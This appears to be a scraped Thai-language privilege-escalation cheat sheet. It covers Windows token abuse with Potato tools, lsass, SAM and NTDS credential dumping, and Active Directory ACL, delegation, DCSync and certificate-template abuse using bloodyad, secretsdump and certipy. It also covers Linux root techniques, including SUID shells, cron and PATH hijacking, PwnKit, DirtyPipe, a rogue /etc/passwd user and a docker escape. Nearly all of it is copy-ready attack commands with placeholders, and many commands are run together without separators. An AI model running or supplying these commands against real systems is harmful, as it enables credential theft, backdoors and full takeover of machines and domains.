SeImpersonatePrivilege
ยอดฮิตPrintSpoofer64.exe -i -c cmdGodPotato-NET4.exe -cmd "cmd /c whoami"JuicyPotatoNG.exe -t * -p cmd.exeRoguePotato.exe -r {KALI} -e cmd.exe -l 9999Windows token privilege (สิทธิ Se*) ที่ใช้ยกสิทธิเป็น SYSTEM/Admin ได้ ตรวจด้วย whoami /priv แล้วมองหาตัวที่ Enabled/Disabled (หลายตัว enable เองได้)
PrintSpoofer64.exe -i -c cmdGodPotato-NET4.exe -cmd "cmd /c whoami"JuicyPotatoNG.exe -t * -p cmd.exeRoguePotato.exe -r {KALI} -e cmd.exe -l 9999(ใช้ token จาก Potato สร้าง process)procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmprundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\l.dmp fulltoken::elevatereg save hklm\sam sam & reg save hklm\system systemdiskshadow /s script.txt ; robocopy /b E:\Windows\NTDS . ntds.ditnxc smb {IP} -u {USER} -p '{PASS}' -M backup_operatorreg add "HKLM\...\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d cmd.exe(เขียนทับ exe ของ service ที่รันเป็น SYSTEM)takeown /f C:\path\service.exe && icacls C:\path\service.exe /grant {USER}:F(โหลด Capcom.sys / vulnerable driver แล้ว exploit)SeManageVolumeExploit.exe(สร้าง token ด้วย API LogonUser + สิทธิ TCB)แต่ละลูกศร (edge) ใน BloodHound = สิทธิที่ node ต้นทางมีต่อ node ปลายทาง คลิกขวาที่ edge ใน BloodHound จะมี Help + Abuse Info เสมอ ด้านล่างสรุปตัวสำคัญพร้อมวิธี abuse
คุมเต็ม (full control) บน object
→ ทำได้ทุกอย่าง: reset รหัส (user), RBCD/shadow cred (computer), add member (group)
bloodyad -H {DC} -d {DOMAIN} -u {USER} -p '{PASS}' set password {TARGET} 'New!'เขียน attribute ที่ไม่ได้ป้องกันได้ (แต่ไม่ใช่ DACL)
→ ตั้ง SPN (targeted Kerberoast), shadow cred, RBCD, logon script
bloodyad ... set object {TARGET} servicePrincipalName -v HOST/xแก้ DACL (รายการสิทธิ) ของ object
→ เพิ่ม GenericAll ให้ตัวเอง; บนโดเมน → เพิ่ม DCSync
bloodyad ... add genericAll {TARGET} {USER}เปลี่ยน owner ของ object
→ ตั้งตัวเองเป็น owner → owner แก้ DACL ได้ → GenericAll
bloodyad ... set owner {TARGET} {USER}เป็นเจ้าของ object อยู่แล้ว
→ owner เขียน DACL ได้เสมอ → add genericAll
bloodyad ... add genericAll {TARGET} {USER}เขียน attribute servicePrincipalName ได้
→ ตั้ง SPN ให้ target → targeted Kerberoast → crack รหัส
targetedKerberoast.py -v -d {DOMAIN} -u {USER} -p {PASS}reset รหัส user ได้โดยไม่ต้องรู้รหัสเก่า
→ ตั้งรหัสใหม่ให้ target แล้วล็อกอินเป็นเขา (ระวังรหัสเดิมพัง)
bloodyad ... set password {TARGET} 'New!'ได้ extended right ทั้งหมดบน object
→ = ForceChangePassword (user) / อ่าน LAPS (computer)
bloodyad ... set password {TARGET} 'New!'เพิ่มสมาชิกเข้ากลุ่มได้
→ add ตัวเองเข้ากลุ่มสิทธิสูง (DA, Backup Operators, DnsAdmins)
bloodyad ... add groupMember '{GROUP}' {USER}เพิ่มเฉพาะตัวเองเข้ากลุ่ม
→ เหมือน AddMember แต่จำกัดที่ account เราเอง
bloodyad ... add groupMember '{GROUP}' {USER}อ่านรหัส local admin (LAPS) ของเครื่อง
→ ได้รหัส local admin ปัจจุบัน → login/psexec
bloodyad ... get object '{TARGET}$' --attr ms-Mcs-AdmPwdอ่าน managed password ของ gMSA
→ คำนวณ NT hash ของ gMSA → PtH เป็น service นั้น
bloodyad ... get object '{TARGET}$' --attr msDS-ManagedPasswordtarget ทำ constrained delegation ไปยัง service อื่นได้
→ S4U2Self+S4U2Proxy สวมรอย user ใด ๆ เข้า service ปลายทาง
getST.py -spn cifs/{TARGET} -impersonate Administrator ...เราตั้ง RBCD บน target ได้ (มี GenericWrite/GenericAll)
→ add machine account เรา → set RBCD → getST impersonate admin
bloodyad ... add rbcd {TARGET} 'EVIL$'มีสิทธิ GetChanges + GetChangesAll บนโดเมน
→ จำลองเป็น DC ขอ replicate → ดึง hash ทุกคน + krbtgt (golden ticket)
secretsdump.py -just-dc {DOMAIN}/{USER}:'{PASS}'@{DC}อ่าน LAPS ได้ผ่านสิทธิ replicate เฉพาะ
→ ดึงรหัส LAPS ของหลายเครื่อง
nxc ldap {DC} -u {USER} -p '{PASS}' -M lapsเป็น local Administrator บนเครื่องนั้น
→ psexec/wmiexec รันเป็น SYSTEM, dump SAM/LSA
impacket-psexec {DOMAIN}/{USER}:'{PASS}'@{TARGET}อยู่กลุ่ม Remote Desktop Users
→ ต่อ RDP เข้าเครื่องแบบ interactive
xfreerdp /u:{USER} /p:'{PASS}' /v:{TARGET} /cert:ignoreอยู่กลุ่ม Remote Management Users (WinRM)
→ evil-winrm เข้า shell
evil-winrm -i {TARGET} -u {USER} -p '{PASS}'user มี session login ค้างบนเครื่องนั้น
→ ถ้าเราเป็น admin บนเครองนั้น → mimikatz ดึง cred ของ user
sekurlsa::logonpasswordsเป็น sysadmin บน MSSQL instance
→ xp_cmdshell รันคำสั่ง OS เป็น service account (มัก SeImpersonate → SYSTEM)
mssqlclient.py {DOMAIN}/{USER}:'{PASS}'@{TARGET} -windows-authtemplate ยอมให้ระบุ SAN + client auth + enroll ได้
→ ขอ cert สวมเป็น Domain Admin
certipy req -u {USER}@{DOMAIN} -p '{PASS}' -ca CA -template T -upn administrator@{DOMAIN}CA web enrollment เปิด + ไม่มี HTTPS/EPA
→ NTLM relay ไป CA → ขอ cert ให้ DC/user
certipy relay -target http://CAกลุ่มสิทธิสูงใน AD ที่ถ้าเข้าถึงได้ = ยกระดับได้ทันที เรียงจากอันตรายสุด — ใน BloodHound มองหา path ที่วิ่งเข้ากลุ่มเหล่านี้ (ตั้ง Mark as Owned แล้วดู Shortest Path to here)
เส้นทางยกสิทธิบน Linux ที่พบบ่อยสุด รัน enum ก่อน (linpeas.sh / id / sudo -l) แล้วไล่ตามหมวดด้านล่าง เทียบ binary กับ GTFOBins เสมอ
find / -perm -4000 -type f 2>/dev/nullfind / -perm -2000 -type f 2>/dev/nullfind . -exec /bin/sh -p \; -quitcp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; /tmp/rootbash -psudo -lsudo su -sudo vim -c ':!/bin/sh'sudo LD_PRELOAD=/tmp/x.so <cmd>sudoedit -s '\' $(python3 -c 'print("A"*1000)')getcap -r / 2>/dev/null./python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'(อ่านไฟล์ใดก็ได้ เช่น /etc/shadow)cat /etc/crontab; ls -la /etc/cron.*./pspy64echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/cronjob.sh(สร้างไฟล์ชื่อ --checkpoint=1 --checkpoint-action=exec=sh)echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb;chmod +s /tmp/rb' > /tmp/<cmd>; export PATH=/tmp:$PATH(วาง .conf ชี้ไปโฟลเดอร์เรา แล้ว ldconfig)uname -a; searchsploit linux kernel <version>./PwnKit./dirtypipe /etc/passwdecho 'r00t:$(openssl passwd -1 -salt x pass):0:0::/root:/bin/bash' >> /etc/passwdshowmount -e {IP}docker run -v /:/mnt --rm -it alpine chroot /mnt sh